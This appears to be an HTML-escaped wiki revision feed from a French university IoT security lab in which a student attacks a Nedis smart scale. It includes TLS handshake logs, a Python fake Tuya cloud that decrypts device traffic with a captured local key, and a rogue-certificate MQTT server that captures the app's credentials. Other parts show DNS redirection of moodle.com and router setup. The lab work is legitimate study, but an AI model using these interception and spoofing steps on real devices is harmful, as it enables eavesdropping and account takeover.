0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c1930 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 00 00 00 00   d6aG91IFR1eV....&lt;br /&gt;
0020 - 00 00 00 00 00 00 00 00-04 00 ae 00 ff 01 00 00   ................&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c45c0 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 00   ...:..BAohBAohb.&lt;br /&gt;
0010 - 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................&lt;br /&gt;
0020 - 00 00 00 00 00 00 00 00-04 00 ae 00 ff 01 00 00   ................&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c2410 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c1930 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c45c0 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 00 00 00 00-00 00 00 00 00 00 00 00   d6aG............&lt;br /&gt;
0020 - 00 00 00 00 00 00 00 00-04 00 ae 00 ff 01 00 00   ................&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c2410 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c1930 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;trouver un mdp dans l'appli nedis /data/data/com.nedis.smartlife/shared_prefs&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
decouverte de tinytuya : https://github.com/jasonacox/tinytuya&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
import socket&lt;br /&gt;
import tinytuya&lt;br /&gt;
import json&lt;br /&gt;
&lt;br /&gt;
LOCAL_KEY = '674d29fb978a1705' &lt;br /&gt;
&lt;br /&gt;
IP_BALANCE = '172.16.10.105'&lt;br /&gt;
&lt;br /&gt;
print(f&amp;quot;[*] Démarrage du Faux Cloud Tuya...&amp;quot;)&lt;br /&gt;
print(f&amp;quot;[*] Clé utilisée : {LOCAL_KEY}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
server_socket.bind(('0.0.0.0', 8886))&lt;br /&gt;
server_socket.listen(1)&lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;[*] En attente de la balance sur le port 8886...&amp;quot;)&lt;br /&gt;
print(&amp;quot;[*] Monte sur la balance maintenant !&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
while True:&lt;br /&gt;
    try:&lt;br /&gt;
        client, addr = server_socket.accept()&lt;br /&gt;
        print(f&amp;quot;\n[+] Connexion reçue de {addr[0]} !&amp;quot;)&lt;br /&gt;
        &lt;br /&gt;
        data = client.recv(4096)&lt;br /&gt;
        &lt;br /&gt;
        if data:&lt;br /&gt;
            print(f&amp;quot;[i] {len(data)} octets reçus (chiffrés). Tentative de décodage...&amp;quot;)&lt;br /&gt;
            &lt;br /&gt;
            try:&lt;br /&gt;
                d = tinytuya.OutletDevice('DUMMY_ID', IP_BALANCE, LOCAL_KEY)&lt;br /&gt;
                d.set_version(3.3) # Version standard WiFi&lt;br /&gt;
                &lt;br /&gt;
                decrypted = d._decode_payload(data)&lt;br /&gt;
                &lt;br /&gt;
                if decrypted:&lt;br /&gt;
                    print(&amp;quot;\n&amp;quot; + &amp;quot;=&amp;quot;*40)&lt;br /&gt;
                    print(&amp;quot;donnés :&amp;quot;)&lt;br /&gt;
                    print(&amp;quot;=&amp;quot;*40)&lt;br /&gt;
                    parsed = json.loads(decrypted)&lt;br /&gt;
                    print(json.dumps(parsed, indent=4))&lt;br /&gt;
                    &lt;br /&gt;
                    if 'dps' in parsed:&lt;br /&gt;
                        print(&amp;quot;\nVALEURS :&amp;quot;)&lt;br /&gt;
                        for k, v in parsed['dps'].items():&lt;br /&gt;
                            print(f&amp;quot;- Data Point {k} : {v}&amp;quot;)&lt;br /&gt;
                    print(&amp;quot;=&amp;quot;*40)&lt;br /&gt;
                else:&lt;br /&gt;
                    print(&amp;quot;[-] Échec du décryptage (Format inconnu ou clé incorrecte pour ce paquet)&amp;quot;)&lt;br /&gt;
                    &lt;br /&gt;
            except Exception as e:&lt;br /&gt;
                print(f&amp;quot;[-] Erreur de décodage : {e}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        client.close()&lt;br /&gt;
        &lt;br /&gt;
    except KeyboardInterrupt:&lt;br /&gt;
        print(&amp;quot;\nArrêt.&amp;quot;)&lt;br /&gt;
        break&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        print(f&amp;quot;Erreur serveur : {e}&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Malheureusement, je constate (un peu tard) que notre balance ne pourra pas communiquer avec notre serveur puisque qu'elle ne possède pas le certificat de notre autorité de certification. Elle refuse donc de communiquer avec notre serveur.&lt;br /&gt;
&lt;br /&gt;
== Envoi de fausses informations vers l'application ==&lt;br /&gt;
On va donc tenter d'envoyer des informations erronés de notre serveur vers notre application.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps on va tenter d'établir une connexion sécurisé entre l'appli et notre serveur.&lt;br /&gt;
&lt;br /&gt;
Tuya utilise un protocole MQTT pour les échanges de données. On va donc simuler un serveur MQTT en python qui utilise un certificat signé par notre autorité de certification.&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
import socket&lt;br /&gt;
import ssl&lt;br /&gt;
&lt;br /&gt;
CERT_FILE = &amp;quot;/etc/apache2/ssl/tuya.crt&amp;quot; &lt;br /&gt;
KEY_FILE  = &amp;quot;/etc/apache2/ssl/tuya.key&amp;quot;  &lt;br /&gt;
PORT = 8883&lt;br /&gt;
&lt;br /&gt;
def start_server():&lt;br /&gt;
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)&lt;br /&gt;
    try:&lt;br /&gt;
        context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        print(f&amp;quot;impossible de charger les clés SSL\n{e}&amp;quot;)&lt;br /&gt;
        return&lt;br /&gt;
&lt;br /&gt;
    bindsocket = socket.socket()&lt;br /&gt;
    bindsocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
    bindsocket.bind(('0.0.0.0', PORT))&lt;br /&gt;
    bindsocket.listen(5)&lt;br /&gt;
&lt;br /&gt;
    print(f&amp;quot;faux Serveur MQTT en écoute sur le port {PORT}...&amp;quot;)&lt;br /&gt;
    print(&amp;quot;en attente de l'application Android...&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    while True:&lt;br /&gt;
        try:&lt;br /&gt;
            newsocket, fromaddr = bindsocket.accept()&lt;br /&gt;
            print(f&amp;quot;\nconnexion TCP reçue de {fromaddr[0]}&amp;quot;)&lt;br /&gt;
            &lt;br /&gt;
            try:&lt;br /&gt;
                conn = context.wrap_socket(newsocket, server_side=True)&lt;br /&gt;
                print(f&amp;quot;handshake SSL réussi&amp;quot;)&lt;br /&gt;
                &lt;br /&gt;
                data = conn.recv(1024)&lt;br /&gt;
                print(f&amp;quot;données reçues ({len(data)} octets) :&amp;quot;)&lt;br /&gt;
                print(data)&lt;br /&gt;
                &lt;br /&gt;
            except ssl.SSLError as e:&lt;br /&gt;
                print(f&amp;quot;échec SSL rejet du certificat.\n{e}&amp;quot;)&lt;br /&gt;
            except Exception as e:&lt;br /&gt;
                print(f&amp;quot;erreur de lecture : {e}&amp;quot;)&lt;br /&gt;
            finally:&lt;br /&gt;
                pass&lt;br /&gt;
&lt;br /&gt;
        except KeyboardInterrupt:&lt;br /&gt;
            print(&amp;quot;\narrêt.&amp;quot;)&lt;br /&gt;
            break&lt;br /&gt;
&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
    start_server()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
connexion TCP reçue de 172.16.10.102&lt;br /&gt;
handshake SSL réussi&lt;br /&gt;
données reçues (529 octets) :&lt;br /&gt;
b'\x10\x8e\x04\x00\x04MQTT\x04\xce\x00&amp;lt;\x00lcom.nedis.smartlife_mb_e5a1220d6003e352f8b34a81cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc_DEFAULT\x00\x0ftuya/smart/will\x00\xfa{&amp;quot;clie&lt;br /&gt;
ntId&amp;quot;:&amp;quot;com.nedis.smartlife_mb_e5a1220d6003e352f8b34a81cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc_DEFAULT&amp;quot;,&amp;quot;deviceType&amp;quot;:&amp;quot;ANDROID&amp;quot;,&amp;quot;message&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;userName&amp;quot;:&amp;quot;e5a1220d6003e352f8b34a81&lt;br /&gt;
cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc&amp;quot;}\x00up1027735_v1_4dtc78phe7grtfdfv7fp_a4206d71_mb_eu17623708062605mpDdzpA355dad9b8086f63442d98e227e039cf5315158b056398c8fb\x00\x10388c&lt;br /&gt;
a5a77b82c5ad'&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On constate à la suite de cela que notre application fait totalement confiance à notre faux serveur. Il faut maintenant le format sous lequel envoyer notre message pour quelle ajoute un poids dans l'application.&lt;/div&gt;</summary>
		<author><name>Vdetrez</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10919</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10919"/>
		<updated>2025-12-11T15:34:38Z</updated>

		<summary type="html">&lt;p&gt;Vdetrez : /* Nedis Wi-Fi Smart Personal Scales */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Fichier:1107px-Titre page.png|sans_cadre|820x820px]]&lt;br /&gt;
&lt;br /&gt;
= Serveur virtuel (17/09) =&lt;br /&gt;
Dans un premier temps, on vient créer un serveur virtuel sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec la commande &amp;lt;code&amp;gt;xen-create-image --hostname=SE5.vdetrez --dhcp --dir=/usr/local/xen --size=10G --memory=2G --dist=daedalus --bridge=bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, sur capbreton dans le dossier &amp;lt;code&amp;gt;/etc/network/interfaces.d&amp;lt;/code&amp;gt; on vient créer un fichier &amp;lt;code&amp;gt;g1_vdetrez&amp;lt;/code&amp;gt; pour mettre en place une nouvelle interface dans le VLAN 410.  &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
auto Trunk.410&lt;br /&gt;
iface Trunk.410 inet manual&lt;br /&gt;
        vlan-raw-device Trunk&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g1_vdetrez&lt;br /&gt;
iface g1_vdetrez inet manual&lt;br /&gt;
	bridge_ports Trunk.410&lt;br /&gt;
	up ip link set $IFACE up &lt;br /&gt;
	down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a maintenant accès à la machine SE5.vdetrez (en ayant évidemment fait l'erreur de mettre &amp;quot;.&amp;quot; à la place de &amp;quot;-&amp;quot;) et on vient y configurer nos adresses IPv4.&lt;br /&gt;
&lt;br /&gt;
Mon adresse IPv4 routée est la &amp;lt;code&amp;gt;172.26.145.100&amp;lt;/code&amp;gt; et mon IPv4 dans le VLAN 410 est &amp;lt;code&amp;gt;172.16.10.0&amp;lt;/code&amp;gt; &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
	address 172.26.145.110&lt;br /&gt;
	netmask 255.255.255.0&lt;br /&gt;
	gateway 172.26.145.251&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
	address 172.16.10.0/24&lt;br /&gt;
#&lt;br /&gt;
# The commented out line above will disable TCP checksumming which&lt;br /&gt;
# might resolve problems for some users.  It is disabled by default&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On vérifie avec la commande &amp;lt;code&amp;gt;ip a&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:41 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.26.145.110/24 brd 172.26.145.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:6050:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 853sec preferred_lft 753sec&lt;br /&gt;
    inet6 2a01:c916:2047:c850:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 2591853sec preferred_lft 604653sec&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7441/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:42 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.16.10.0/24 brd 172.16.10.255 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7442/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on constate que notre serveur a accès à Internet avec la commande &amp;lt;code&amp;gt;ping 8.8.8.8&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Point d'accès WiFi (29/09) =&lt;br /&gt;
Pour l'instant, nous mettons de côté ce point du TP car il n'est pas utile pour la suite.&lt;br /&gt;
&lt;br /&gt;
= Sécurisation WiFi par WPA2-PSK =&lt;br /&gt;
&lt;br /&gt;
Pour communiquer avec le routeur &amp;lt;code&amp;gt;Cisco&amp;lt;/code&amp;gt;, on branche le port série en USB et on se connecte avec la commande &amp;lt;code&amp;gt;minicom -D /dev/ttyUSB0 -b 9600&amp;lt;/code&amp;gt;. La première étape fut la création du SSID &amp;lt;code&amp;gt;SE5-SSID10&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
dot11 ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
vlan 410&lt;br /&gt;
&lt;br /&gt;
authentication open&lt;br /&gt;
&lt;br /&gt;
authentication key-management wpa version 2&lt;br /&gt;
&lt;br /&gt;
wpa-psk ascii Cisco2025&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Puis, on configure l'interface &amp;lt;code&amp;gt;Dot11Radio0&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
interface dot11radio 0&lt;br /&gt;
&lt;br /&gt;
encryption mode ciphers aes-ccm&lt;br /&gt;
&lt;br /&gt;
ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
station-role root&lt;br /&gt;
&lt;br /&gt;
no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après cela, on retourne sur notre serveur virtuel et on y implémente un serveur DHCP pour l'attribution des IP aux machines se connectant sur le routeur. On retrouve cette configuration dans &amp;lt;code&amp;gt;/etc/dhcp/dhcpd.conf&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# dhcpd.conf&lt;br /&gt;
&lt;br /&gt;
option domain-name &amp;quot;plil.info&amp;quot;;&lt;br /&gt;
option domain-name-servers ns.plil.info;&lt;br /&gt;
&lt;br /&gt;
default-lease-time 600;&lt;br /&gt;
max-lease-time 7200;&lt;br /&gt;
&lt;br /&gt;
ddns-update-style none;&lt;br /&gt;
&lt;br /&gt;
authoritative;&lt;br /&gt;
&lt;br /&gt;
subnet 172.16.10.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.10.100 172.16.10.200;&lt;br /&gt;
  option domain-name-servers 172.16.10.1;&lt;br /&gt;
  option routers 172.16.10.1;&lt;br /&gt;
  default-lease-time 600;&lt;br /&gt;
  max-lease-time 7200;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on implémente un serveur DNS minimal dans le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.options&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
        recursion yes;&lt;br /&gt;
        allow-query {172.16.10.0/24; 127.0.0.1;};&lt;br /&gt;
&lt;br /&gt;
         forwarders {&lt;br /&gt;
                8.8.8.8;&lt;br /&gt;
                1.1.1.1;&lt;br /&gt;
         };&lt;br /&gt;
&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
        listen-on {127.0.0.1; 172.16.10.1;};&lt;br /&gt;
        listen-on-v6 { none; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et enfin, on met en place une mascarade entre le VLAN 410 et le routeur du réseau des salles de projets pour donner l'accès à Internet.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Interception de flux (30/09) =&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Pour cette partie, on va ajouter une zone primaire à notre serveur DNS avec le nom Internet du site que l'on veut rediriger vers notre machine.&lt;br /&gt;
&lt;br /&gt;
Ici, ce sera le merveilleux &amp;lt;code&amp;gt;moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
D'abord, on modifie &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;moodle.com&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.moodle.com&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on crée la fameuse zone &amp;lt;code&amp;gt;db.moodle.com&amp;lt;/code&amp;gt; dans le même répertoire &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    200&lt;br /&gt;
@       IN      SOA     ns.moodle.com. admin.moodle.com. (&lt;br /&gt;
                        5       ;&lt;br /&gt;
                        3600    ;&lt;br /&gt;
                        1800    ;&lt;br /&gt;
                        604800  ;&lt;br /&gt;
                        86400   ;&lt;br /&gt;
)&lt;br /&gt;
        IN      NS      ns.moodle.com.&lt;br /&gt;
ns      IN      A       172.16.10.1&lt;br /&gt;
@       IN      A       172.16.10.1&lt;br /&gt;
www     IN      CNAME   ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier si notre configuration est correcte, on exécute ces deux commandes :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkconf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkzone moodle.com /etc/bind/db.moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
